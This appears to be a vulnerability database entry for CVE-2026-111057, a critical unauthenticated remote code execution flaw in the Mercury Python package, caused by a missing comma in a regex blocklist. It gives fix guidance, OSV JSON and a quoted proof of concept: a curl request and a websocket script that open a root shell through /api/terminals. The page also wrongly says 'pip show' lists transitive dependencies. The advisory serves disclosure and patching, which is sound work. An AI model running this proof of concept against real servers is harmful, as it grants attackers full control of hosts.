CVE-2026-111057: Mercury Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-f8c7-rwf9-fmgm
CVSS 10.0
CWE-284 CWE-185
Published
Advisory Summary

CVE-2026-111057 is a CRITICAL (CVSS 10.0) remote code execution vulnerability (CWE-284: Improper Access Control) affecting Mercury libraries in the PyPI ecosystem. The issue involves unauthenticated remote code execution in /api/terminals - access control bypass. Remediation is available by upgrading affected packages to version 3.2.4.

CVE-2026-111057 at a Glance

CVE Identifier CVE-2026-111057
GHSA Identifier GHSA-f8c7-rwf9-fmgm
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-284: Improper Access Control
Affected Product Mercury
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-111057

To remediate this vulnerability, upgrade all affected Mercury dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mercury fixed: 3.2.4
pip install mercury>=3.2.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mercury

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-111057, inspect your installed packages using pip:

pip show mercury

Analyze the terminal output to locate any version of Mercury in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.2.4), your application is affected.

Note: The pip show mercury command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Mercury, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A missing comma in `mercury_app/block_handler.py`'s `BLOCKED_PATTERNS` list causes the blocklist to fail to cover the `/api/terminals` endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury. ### Details The blocklist in `mercury_app/block_handler.py` is defined as: ``` BLOCKED_PATTERNS = [ # JupyterLab UI + API r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?" r"/api/terminals(?:/.*)?", r"/api/shutdown(?:/.*)?", r"/files(?:/.*)?", ] ``` The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this: /lab...(?:/.`*`)?/api/terminals(?:/.`*`)? (the first two lines joined together) /api/shutdown(?:/.`*`)? /files(?:/.`*`)? A direct request to `/api/terminals` does not match any of the 3 blocklist rules and is therefore **not blocked**, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required. ### PoC Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration. **Step 1 - spawn a terminal:** ``` curl -i -X POST http://localhost:8888/api/terminals ``` Response: `{"name": "1", "last_activity": "..."}` **Step 2 - connect to the terminal and execute commands:** ``` python3 -c " import websocket, json, time ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1') print(ws.recv()) ws.send(json.dumps(['stdin', 'whoami && id\n'])) time.sleep(1) ws.settimeout(2) try: while True: print(ws.recv()) except Exception: pass " ``` Observed output: ``` ["setup", {}] ["stdout", "# "] ["stdout", "whoami && id\r\n"] ["stdout", "root\r\n"] ["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "] ``` Confirms full, interactive root shell access with no authentication or prior access of any kind. ### Impact - **Confidentiality:** full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets). - **Integrity:** attacker can modify or delete any file, including notebooks served to other users. - **Availability:** attacker can shut down or crash the server/container. - **Lateral movement:** the shell can be used as a foothold to attack other systems reachable from the host's network. Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall). ### Fix Add the missing comma so `/api/terminals` becomes an independent blocklist rule: ``` BLOCKED_PATTERNS = [ # JupyterLab UI + API r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?", r"/api/terminals(?:/.*)?", r"/api/shutdown(?:/.*)?", r"/files(?:/.*)?", ] ```

CVE-2026-111057 Affected Mercury Versions

1 component(s)
Fixed Versions:
3.2.4
Product / Package Ecosystem Affected Versions Fixed Version
mercury
PyPI
≥ 3.0.0
< 3.2.4
3.2.4

References

Frequently Asked Questions

What is CVE-2026-111057?
CVE-2026-111057 is a security vulnerability in Mercury involving Unauthenticated Remote Code Execution in /api/terminals - access control bypass under CWE-284: Improper Access Control.
Which Mercury versions are affected?
Affected versions include releases prior to 3.2.4 across affected packages: mercury.
What version fixes CVE-2026-111057?
Upgrading to 3.2.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mercury affected?
Yes, mercury is affected in releases prior to 3.2.4. Upgrade your dependency to 3.2.4 or later.
What is the CVSS score of CVE-2026-111057?
CVE-2026-111057 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-111057?
CVE-2026-111057 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check PyPI dependencies for CVE-2026-111057?
Run the dependency tree command: 'pip show mercury'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f8c7-rwf9-fmgm",
  "modified" : "2026-10-19T17:00:54Z",
  "published" : "2026-10-19T17:00:54Z",
  "aliases" : [ "CVE-2026-111057" ],
  "summary" : "Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass",
  "details" : "### Summary\nA missing comma in `mercury_app/block_handler.py`'s `BLOCKED_PATTERNS` list causes the blocklist to fail to cover the `/api/terminals` endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.\n\n### Details\nThe blocklist in `mercury_app/block_handler.py` is defined as:\n```\nBLOCKED_PATTERNS = [\n    # JupyterLab UI + API\n    r\"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?\"\n    r\"/api/terminals(?:/.*)?\",\n    r\"/api/shutdown(?:/.*)?\",\n    r\"/files(?:/.*)?\",\n]\n```\nThe missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:\n\n/lab...(?:/.`*`)?/api/terminals(?:/.`*`)? (the first two lines joined together)\n/api/shutdown(?:/.`*`)?\n/files(?:/.`*`)?\n\nA direct request to `/api/terminals` does not match any of the 3 blocklist rules and is therefore **not blocked**, reaching Jupyter\nServer's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.\n\n### PoC\nTesting was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default\nconfiguration.\n \n**Step 1 - spawn a terminal:**\n\n\n```\ncurl -i -X POST http://localhost:8888/api/terminals\n```\nResponse: `{\"name\": \"1\", \"last_activity\": \"...\"}`\n\n**Step 2 - connect to the terminal and execute commands:**\n\n\n```\npython3 -c \"\nimport websocket, json, time\n\nws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')\nprint(ws.recv())\n\nws.send(json.dumps(['stdin', 'whoami && id\\n']))\ntime.sleep(1)\n\nws.settimeout(2)\ntry:\n    while True:\n        print(ws.recv())\nexcept Exception:\n    pass\n\"\n```\n\n\nObserved output:\n\n```\n[\"setup\", {}]\n[\"stdout\", \"# \"]\n[\"stdout\", \"whoami && id\\r\\n\"]\n[\"stdout\", \"root\\r\\n\"]\n[\"stdout\", \"uid=0(root) gid=0(root) groups=0(root)\\r\\n# \"]\n```\n\n\nConfirms full, interactive root shell access with no authentication or prior access of any kind.\n\n\n### Impact\n- **Confidentiality:** full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).\n- **Integrity:** attacker can modify or delete any file, including notebooks served to other users.\n- **Availability:** attacker can shut down or crash the server/container.\n- **Lateral movement:** the shell can be used as a foothold to attack other systems reachable from the host's network.\n\nExploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).\n\n### Fix\nAdd the missing comma so `/api/terminals` becomes an independent blocklist rule:\n```\nBLOCKED_PATTERNS = [\n    # JupyterLab UI + API\n    r\"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?\",\n    r\"/api/terminals(?:/.*)?\",\n    r\"/api/shutdown(?:/.*)?\",\n    r\"/files(?:/.*)?\",\n]\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mercury"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.2.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.2.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mljar/mercury/security/advisories/GHSA-f8c7-rwf9-fmgm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mljar/mercury/commit/8c467129037ee9df269d543ac217ffd33b97bf3f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mljar/mercury"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mljar/mercury/releases/tag/v3.2.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-185", "CWE-284" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-19T17:00:54Z",
    "nvd_published_at" : null
  }
}